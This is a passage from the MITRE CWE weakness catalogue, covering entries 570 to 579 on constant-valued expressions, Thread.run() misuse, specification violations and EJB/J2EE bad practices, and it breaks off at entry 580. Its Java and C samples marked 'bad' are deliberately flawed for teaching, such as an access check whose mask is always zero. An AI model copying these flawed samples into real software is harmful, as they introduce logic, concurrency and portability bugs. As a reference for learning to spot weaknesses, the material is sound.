ChildOf	P	710	Improper Adherence to Coding Standards	1365
CanPrecede	B	561	Dead Code	1133

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	569	Expression Issues	1870

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context	

Potential Mitigations

Phase: Testing

Use Static Analysis tools to spot such conditions.

Demonstrative Examples

Example 1:

In the following Java example the updateUserAccountOrder() method used within an e-business product ordering/inventory application will validate the product number that was ordered and the user account number. If they are valid, the method will update the product inventory, the user account, and the user order appropriately.

Example Language: Java *(bad)*

```
public void updateUserAccountOrder(String productNumber, String accountNumber) {
    boolean isValidProduct = false;
    boolean isValidAccount = false;
    if (validProductNumber(productNumber)) {
        isValidProduct = true;
        updateInventory(productNumber);
    }
    else {
        return;
    }
    if (validAccountNumber(accountNumber)) {
        isValidProduct = true;
        updateAccount(accountNumber, productNumber);
    }
    if (isValidProduct && isValidAccount) {
        updateAccountOrder(accountNumber, productNumber);
    }
}
```

However, the method never sets the isValidAccount variable after initializing it to false so the isValidProduct is mistakenly used twice. The result is that the expression "isValidProduct && isValidAccount" will always evaluate to false, so the updateAccountOrder() method will never be invoked. This will create serious problems with the product ordering application since the user account and inventory databases will be updated but the order will not be updated.

This can be easily corrected by updating the appropriate variable.

Example Language: *(good)*

```
...
if (validAccountNumber(accountNumber)) {
    isValidAccount = true;
    updateAccount(accountNumber, productNumber);
}
...
```

Example 2:

In the following example, the hasReadWriteAccess method uses bit masks and bit operators to determine if a user has read and write privileges for a particular process. The variable mask is defined as a bit mask from the BIT_READ and BIT_WRITE constants that have been defined. The variable mask is used within the predicate of the hasReadWriteAccess method to determine if the userMask input parameter has the read and write bits set.

Example Language: C *(bad)*

```
#define BIT_READ 0x0001 // 00000001
#define BIT_WRITE 0x0010 // 00010000
unsigned int mask = BIT_READ & BIT_WRITE; /* intended to use "|" */
// using "&", mask = 00000000
// using "|", mask = 00010001
// determine if user has read and write access
int hasReadWriteAccess(unsigned int userMask) {
    // if the userMask has read and write bits set
    // then return 1 (true)
    if (userMask & mask) {
        return 1;
    }
    // otherwise return 0 (false)
    return 0;
}
```

However the bit operator used to initialize the mask variable is the AND operator rather than the intended OR operator (CWE-480), this resulted in the variable mask being set to 0. As a result, the if statement will always evaluate to false and never get executed.

The use of bit masks, bit operators and bitwise operations on variables can be difficult. If possible, try to use frameworks or libraries that provide appropriate functionality and abstract the implementation.

Example 3:

In the following example, the updateInventory method used within an e-business inventory application will update the inventory for a particular product. This method includes an if statement with an expression that will always evaluate to false. This is a common practice in C/C++ to introduce debugging statements quickly by simply changing the expression to evaluate to true and then removing those debugging statements by changing expression to evaluate to false. This is also a common practice for disabling features no longer needed.

Example Language: C *(bad)*

```
int updateInventory(char* productNumber, int numberOfItems) {
    int initCount = getProductCount(productNumber);
```

```
    int updatedCount = initCount + numberOfItems;
    int updated = updateProductCount(updatedCount);
    // if statement for debugging purposes only
    if (1 == 0) {
        char productName[128];
        productName = getProductName(productNumber);
        printf("product %s initially has %d items in inventory \n", productName, initCount);
        printf("adding %d items to inventory for %s \n", numberOfItems, productName);
        if (updated == 0) {
            printf("Inventory updated for product %s to %d items \n", productName, updatedCount);
        }
        else {
            printf("Inventory not updated for product: %s \n", productName);
        }
    }
    return updated;
}
```

Using this practice for introducing debugging statements or disabling features creates dead code that can cause problems during code maintenance and potentially introduce vulnerabilities. To avoid using expressions that evaluate to false for debugging purposes a logging API or debugging API should be used for the output of debugging messages.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	747	CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)	734	1891
MemberOf	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	1921
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	1958

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	MSC00-C		Compile cleanly at high warning levels
Software Fault Patterns	SFP1		Glitch in computation

CWE-571: Expression is Always True

Weakness ID : 571 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software contains an expression that will always evaluate to true.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1365
CanPrecede	B	561	Dead Code	1133

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	569	Expression Issues	1870

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context	

Potential Mitigations

Phase: Testing

Use Static Analysis tools to spot such conditions.

Demonstrative Examples

Example 1:

In the following Java example the updateInventory() method used within an e-business product ordering/inventory application will check if the input product number is in the store or in the warehouse. If the product is found, the method will update the store or warehouse database as well as the aggregate product database. If the product is not found, the method intends to do some special processing without updating any database.

Example Language: Java *(bad)*

```
public void updateInventory(String productNumber) {
    boolean isProductAvailable = false;
    boolean isDelayed = false;
    if (productInStore(productNumber)) {
        isProductAvailable = true;
        updateInStoreDatabase(productNumber);
    }
    else if (productInWarehouse(productNumber)) {
        isProductAvailable = true;
        updateInWarehouseDatabase(productNumber);
    }
    else {
        isProductAvailable = true;
    }
    if ( isProductAvailable ) {
        updateProductDatabase(productNumber);
    }
    else if ( isDelayed ) {
        /* Warn customer about delay before order processing */
        ...
    }
}
```

However, the method never sets the isDelayed variable and instead will always update the isProductAvailable variable to true. The result is that the predicate testing the isProductAvailable boolean will always evaluate to true and therefore always update the product database. Further, since the isDelayed variable is initialized to false and never changed, the expression always evaluates to false and the customer will never be warned of a delay on their product.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	747	CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)	734	1891
MemberOf	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	1921
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	1958

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	MSC00-C		Compile cleanly at high warning levels
Software Fault Patterns	SFP1		Glitch in computation

CWE-572: Call to Thread run() instead of start()

Weakness ID : 572 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The program calls a thread's run() method instead of calling start(), which causes the code to run in the thread of the caller instead of the callee.

Extended Description

In most cases a direct call to a Thread object's run() method is a bug. The programmer intended to begin a new thread of control, but accidentally called run() instead of start(), so the run() method will execute in the caller's thread of control.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	821	Incorrect Synchronization	1514

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context	

Potential Mitigations

Phase: Implementation

Use the start() method instead of the run() method.

Demonstrative Examples

Example 1:

The following excerpt from a Java program mistakenly calls run() instead of start().

Example Language: Java *(bad)*

```
Thread thr = new Thread() {
    public void run() {
        ...
    }
};
thr.run();
```

Affected Resources

- System Process

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	854	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 11 - Thread APIs (THI)	844	1907
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	1959
MemberOf	C	1144	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 10. Thread APIs (THI)	1133	1989

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	THI00-J		Do not invoke Thread.run()
Software Fault Patterns	SFP3		Use of an improper API

CWE-573: Improper Following of Specification by Caller

Weakness ID : 573 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The software does not follow or incorrectly follows the specifications as required by the implementation language, environment, framework, protocol, or platform.

Extended Description

When leveraging external functionality, such as an API, it is important that the caller does so in accordance with the requirements of the external functionality or else unintended behaviors may result, possibly leaving the system vulnerable to any number of exploits.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1365
ParentOf	V	103	Struts: Incomplete validate() Method Definition	229
ParentOf	V	104	Struts: Form Bean Does Not Extend Validation Class	231
ParentOf	V	243	Creation of chroot Jail Without Changing Working Directory	538
ParentOf	B	253	Incorrect Check of Function Return Value	560
ParentOf	B	296	Improper Following of a Certificate's Chain of Trust	653
ParentOf	B	304	Missing Critical Step in Authentication	671
ParentOf	B	325	Missing Required Cryptographic Step	717
ParentOf	V	329	Not Using a Random IV with CBC Mode	729
ParentOf	B	358	Improperly Implemented Security Check for Standard	786
ParentOf	B	475	Undefined Behavior for Input to API	1008
ParentOf	V	568	finalize() Method Without super.finalize()	1146
ParentOf	V	577	EJB Bad Practices: Use of Sockets	1161
ParentOf	V	578	EJB Bad Practices: Use of Class Loader	1162
ParentOf	V	579	J2EE Bad Practices: Non-serializable Object Stored in Session	1164
ParentOf	V	580	clone() Method Without super.clone()	1166
ParentOf	B	581	Object Model Violation: Just One of Equals and Hashcode Defined	1167
ParentOf	B	628	Function Call with Incorrectly Specified Arguments	1243
ParentOf	C	675	Duplicate Operations on Resource	1316
ParentOf	B	694	Use of Multiple Resources with Duplicate Identifier	1346
ParentOf	B	695	Use of Low-Level Functionality	1347

Weakness Ordinalities

Primary :

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context	

Observed Examples

Reference	Description
CVE-2006-7140	Crypto implementation removes padding when it shouldn't, allowing forged signatures *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-7140*
CVE-2006-4339	Crypto implementation removes padding when it shouldn't, allowing forged signatures *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4339*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	850	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)	844	1904
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	1959

Nature	Type	ID	Name	V	Page
MemberOf	C	1140	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)	1133	1987

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	MET10-J		Follow the general contract when implementing the compareTo() method

CWE-574: EJB Bad Practices: Use of Synchronization Primitives

Weakness ID : 574 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The program violates the Enterprise JavaBeans (EJB) specification by using thread synchronization primitives.

Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: "An enterprise bean must not use thread synchronization primitives to synchronize execution of multiple instances." The specification justifies this requirement in the following way: "This rule is required to ensure consistent runtime semantics because while some EJB containers may use a single JVM to execute all enterprise bean's instances, others may distribute the instances across multiple JVMs."

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	695	Use of Low-Level Functionality	1347
ChildOf	B	821	Incorrect Synchronization	1514

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Potential Mitigations

Phase: Implementation

Do not use Synchronization Primitives when writing EJBs.

Demonstrative Examples

Example 1:

In the following Java example a Customer Entity EJB provides access to customer information in a database for a business application.

Example Language: Java *(bad)*

```
@Entity
public class Customer implements Serializable {
    private String id;
    private String firstName;
    private String lastName;
    private Address address;
    public Customer() {...}
    public Customer(String id, String firstName, String lastName) {...}
    @Id
    public String getCustomerId() {...}
    public synchronized void setCustomerId(String id) {...}
    public String getFirstName() {...}
    public synchronized void setFirstName(String firstName) {...}
    public String getLastName() {...}
    public synchronized void setLastName(String lastName) {...}
    @OneToOne()
    public Address getAddress() {...}
    public synchronized void setAddress(Address address) {...}
}
```

However, the customer entity EJB uses the synchronized keyword for the set methods to attempt to provide thread safe synchronization for the member variables. The use of synchronized methods violate the restriction of the EJB specification against the use synchronization primitives within EJBs. Using synchronization primitives may cause inconsistent behavior of the EJB when used within different EJB containers.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	1959

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP3		Use of an improper API

CWE-575: EJB Bad Practices: Use of AWT Swing

Weakness ID : 575 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The program violates the Enterprise JavaBeans (EJB) specification by using AWT/Swing.

Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: "An enterprise bean must not use the AWT functionality to attempt to output information to a display, or to input information from a keyboard." The specification justifies this requirement in the following way: "Most

servers do not allow direct interaction between an application program and a keyboard/display attached to the server system."

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	695	Use of Low-Level Functionality	1347

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Potential Mitigations

Phase: Architecture and Design

Do not use AWT/Swing when writing EJBs.

Demonstrative Examples

Example 1:

The following Java example is a simple converter class for converting US dollars to Yen. This converter class demonstrates the improper practice of using a stateless session Enterprise JavaBean that implements an AWT Component and AWT keyboard event listener to retrieve keyboard input from the user for the amount of the US dollars to convert to Yen.

Example Language: Java *(bad)*

```
@Stateless
public class ConverterSessionBean extends Component implements KeyListener, ConverterSessionRemote {
    /* member variables for receiving keyboard input using AWT API */
    ...
    private StringBuffer enteredText = new StringBuffer();
    /* conversion rate on US dollars to Yen */
    private BigDecimal yenRate = new BigDecimal("115.3100");
    public ConverterSessionBean() {
        super();
        /* method calls for setting up AWT Component for receiving keyboard input */
        ...
        addKeyListener(this);
    }
    public BigDecimal dollarToYen(BigDecimal dollars) {
        BigDecimal result = dollars.multiply(yenRate);
        return result.setScale(2, BigDecimal.ROUND_DOWN);
    }
    /* member functions for implementing AWT KeyListener interface */
    public void keyTyped(KeyEvent event) {
        ...
    }
    public void keyPressed(KeyEvent e) {
    }
    public void keyReleased(KeyEvent e) {
    }
    /* member functions for receiving keyboard input and displaying output */
    public void paint(Graphics g) {...}
    ...
```

```
}
```

This use of the AWT and Swing APIs within any kind of Enterprise JavaBean not only violates the restriction of the EJB specification against using AWT or Swing within an EJB but also violates the intended use of Enterprise JavaBeans to separate business logic from presentation logic.

The Stateless Session Enterprise JavaBean should contain only business logic. Presentation logic should be provided by some other mechanism such as Servlets or Java Server Pages (JSP) as in the following Java/JSP example.

Example Language: Java *(good)*

```
@Stateless
public class ConverterSessionBean implements ConverterSessionRemoteInterface {
    /* conversion rate on US dollars to Yen */
    private BigDecimal yenRate = new BigDecimal("115.3100");
    public ConverterSessionBean() {
    }
    /* remote method to convert US dollars to Yen */
    public BigDecimal dollarToYen(BigDecimal dollars) {
        BigDecimal result = dollars.multiply(yenRate);
        return result.setScale(2, BigDecimal.ROUND_DOWN);
    }
}
```

Example Language: JSP *(good)*

```
<%@ page import="converter.ejb.Converter, java.math.*, javax.naming.*"%>
<%!
    private Converter converter = null;
    public void jspInit() {
        try {
            InitialContext ic = new InitialContext();
            converter = (Converter) ic.lookup(Converter.class.getName());
        } catch (Exception ex) {
            System.out.println("Couldn't create converter bean."+ ex.getMessage());
        }
    }
    public void jspDestroy() {
        converter = null;
    }
%>
<html>
    <head><title>Converter</title></head>
    <body bgcolor="white">
        <h1>Converter</h1>
        <hr>
        <p>Enter an amount to convert:</p>
        <form method="get">
            <input type="text" name="amount" size="25"><br>
            <p>
            <input type="submit" value="Submit">
            <input type="reset" value="Reset">
        </form>
        <%
            String amount = request.getParameter("amount");
            if ( amount != null && amount.length() > 0 ) {
                BigDecimal d = new BigDecimal(amount);
                BigDecimal yenAmount = converter.dollarToYen(d);
        %>
        <p>
        <%= amount %> dollars are <%= yenAmount %> Yen.
        <p>
        <%
            }
        %>
    </body>
```

</html>

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	1959

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP3		Use of an improper API

CWE-576: EJB Bad Practices: Use of Java I/O

Weakness ID : 576 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The program violates the Enterprise JavaBeans (EJB) specification by using the java.io package.

Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: "An enterprise bean must not use the java.io package to attempt to access files and directories in the file system." The specification justifies this requirement in the following way: "The file system APIs are not well-suited for business components to access data. Business components should use a resource manager API, such as JDBC, to store data."

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	695	Use of Low-Level Functionality	1347

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Potential Mitigations

Phase: Implementation

Do not use Java I/O when writing EJBs.

Demonstrative Examples

Example 1:

The following Java example is a simple stateless Enterprise JavaBean that retrieves the interest rate for the number of points for a mortgage. In this example, the interest rates for various points are retrieved from an XML document on the local file system, and the EJB uses the Java I/O API to retrieve the XML document from the local file system.

Example Language: Java *(bad)*

```
@Stateless
public class InterestRateBean implements InterestRateRemote {
    private Document interestRateXMLDocument = null;
    private File interestRateFile = null;
    public InterestRateBean() {
        try {
            /* get XML document from the local filesystem */
            interestRateFile = new File(Constants.INTEREST_RATE_FILE);
            if (interestRateFile.exists())
            {
                DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
                DocumentBuilder db = dbf.newDocumentBuilder();
                interestRateXMLDocument = db.parse(interestRateFile);
            }
        } catch (IOException ex) {...}
    }
    public BigDecimal getInterestRate(Integer points) {
        return getInterestRateFromXML(points);
    }
    /* member function to retrieve interest rate from XML document on the local file system */
    private BigDecimal getInterestRateFromXML(Integer points) {...}
}
```

This use of the Java I/O API within any kind of Enterprise JavaBean violates the EJB specification by using the java.io package for accessing files within the local filesystem.

An Enterprise JavaBean should use a resource manager API for storing and accessing data. In the following example, the private member function getInterestRateFromXMLParser uses an XML parser API to retrieve the interest rates.

Example Language: Java *(good)*

```
@Stateless
public class InterestRateBean implements InterestRateRemote {
    public InterestRateBean() {
    }
    public BigDecimal getInterestRate(Integer points) {
        return getInterestRateFromXMLParser(points);
    }
    /* member function to retrieve interest rate from XML document using an XML parser API */
    private BigDecimal getInterestRateFromXMLParser(Integer points) {...}
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	1959

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP3		Use of an improper API

CWE-577: EJB Bad Practices: Use of Sockets

Weakness ID : 577 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The program violates the Enterprise JavaBeans (EJB) specification by using sockets.

Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: "An enterprise bean must not attempt to listen on a socket, accept connections on a socket, or use a socket for multicast." The specification justifies this requirement in the following way: "The EJB architecture allows an enterprise bean instance to be a network socket client, but it does not allow it to be a network server. Allowing the instance to become a network server would conflict with the basic function of the enterprise bean-- to serve the EJB clients."

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	573	Improper Following of Specification by Caller	1153

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Do not use Sockets when writing EJBs.

Demonstrative Examples

Example 1:

The following Java example is a simple stateless Enterprise JavaBean that retrieves stock symbols and stock values. The Enterprise JavaBean creates a socket and listens for and accepts connections from clients on the socket.

Example Language: Java *(bad)*

```
@Stateless
public class StockSymbolBean implements StockSymbolRemote {
    ServerSocket serverSocket = null;
    Socket clientSocket = null;
    public StockSymbolBean() {
        try {
            serverSocket = new ServerSocket(Constants.SOCKET_PORT);
        } catch (IOException ex) {...}
        try {
```

```
            clientSocket = serverSocket.accept();
        } catch (IOException e) {...}
    }
    public String getStockSymbol(String name) {...}
    public BigDecimal getStockValue(String symbol) {...}
    private void processClientInputFromSocket() {...}
}
```

And the following Java example is similar to the previous example but demonstrates the use of multicast socket connections within an Enterprise JavaBean.

Example Language: Java *(bad)*

```
@Stateless
public class StockSymbolBean extends Thread implements StockSymbolRemote {
    ServerSocket serverSocket = null;
    Socket clientSocket = null;
    boolean listening = false;
    public StockSymbolBean() {
        try {
            serverSocket = new ServerSocket(Constants.SOCKET_PORT);
        } catch (IOException ex) {...}
        listening = true;
        while(listening) {
            start();
        }
    }
    public String getStockSymbol(String name) {...}
    public BigDecimal getStockValue(String symbol) {...}
    public void run() {
        try {
            clientSocket = serverSocket.accept();
        } catch (IOException e) {...}
        ...
    }
}
```

The previous two examples within any type of Enterprise JavaBean violate the EJB specification by attempting to listen on a socket, accepting connections on a socket, or using a socket for multicast.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	1959

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP3		Use of an improper API

CWE-578: EJB Bad Practices: Use of Class Loader

Weakness ID : 578 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The program violates the Enterprise JavaBeans (EJB) specification by using the class loader.

Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: "The enterprise bean must not attempt to create a class loader; obtain the current class loader; set the context class loader; set security manager; create a new security manager; stop the JVM; or change the input, output, and error streams." The specification justifies this requirement in the following way: "These functions are reserved for the EJB container. Allowing the enterprise bean to use these functions could compromise security and decrease the container's ability to properly manage the runtime environment."

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	573	Improper Following of Specification by Caller	1153

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Other	Execute Unauthorized Code or Commands Varies by Context	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Do not use the Class Loader when writing EJBs.

Demonstrative Examples

Example 1:

The following Java example is a simple stateless Enterprise JavaBean that retrieves the interest rate for the number of points for a mortgage. The interest rates for various points are retrieved from an XML document on the local file system, and the EJB uses the Class Loader for the EJB class to obtain the XML document from the local file system as an input stream.

Example Language: Java *(bad)*

```
@Stateless
public class InterestRateBean implements InterestRateRemote {
    private Document interestRateXMLDocument = null;
    public InterestRateBean() {
        try {
            // get XML document from the local filesystem as an input stream
            // using the ClassLoader for this class
            ClassLoader loader = this.getClass().getClassLoader();
            InputStream in = loader.getResourceAsStream(Constants.INTEREST_RATE_FILE);
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
        DocumentBuilder db = dbf.newDocumentBuilder();
        interestRateXMLDocument = db.parse(interestRateFile);
    } catch (IOException ex) {...}
}
```

```
    public BigDecimal getInterestRate(Integer points) {
        return getInterestRateFromXML(points);
    }
    /* member function to retrieve interest rate from XML document on the local file system */
    private BigDecimal getInterestRateFromXML(Integer points) {...}
}
```

This use of the Java Class Loader class within any kind of Enterprise JavaBean violates the restriction of the EJB specification against obtaining the current class loader as this could compromise the security of the application using the EJB.

Example 2:

An EJB is also restricted from creating a custom class loader and creating a class and instance of a class from the class loader, as shown in the following example.

Example Language: Java *(bad)*

```
@Stateless
public class LoaderSessionBean implements LoaderSessionRemote {
    public LoaderSessionBean() {
        try {
            ClassLoader loader = new CustomClassLoader();
            Class c = loader.loadClass("someClass");
            Object obj = c.newInstance();
            /* perform some task that uses the new class instance member variables or functions */
            ...
        } catch (Exception ex) {...}
    }
    public class CustomClassLoader extends ClassLoader {
    }
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	1959

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP3		Use of an improper API

CWE-579: J2EE Bad Practices: Non-serializable Object Stored in Session

Weakness ID : 579 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The application stores a non-serializable object as an HttpSession attribute, which can hurt reliability.

Extended Description

A J2EE application can make use of multiple JVMs in order to improve application reliability and performance. In order to make the multiple JVMs appear as a single application to the end user, the J2EE container can replicate an HttpSession object across multiple JVMs so that if one JVM becomes unavailable another can step in and take its place without disrupting the flow of

the application. This is only possible if all session data is serializable, allowing the session to be duplicated between the JVMs.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		573	Improper Following of Specification by Caller	1153

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1018	Manage User Sessions	1972

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Potential Mitigations

Phase: Implementation

In order for session replication to work, the values the application stores as attributes in the session must implement the Serializable interface.

Demonstrative Examples

Example 1:

The following class adds itself to the session, but because it is not serializable, the session can no longer be replicated.

Example Language: Java *(bad)*

```
public class DataGlob {
    String globName;
    String globValue;
    public void addToSession(HttpSession session) {
        session.setAttribute("glob", this);
    }
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	1958

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP1		Glitch in computation

CWE-580: clone() Method Without super.clone()

Weakness ID : 580 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

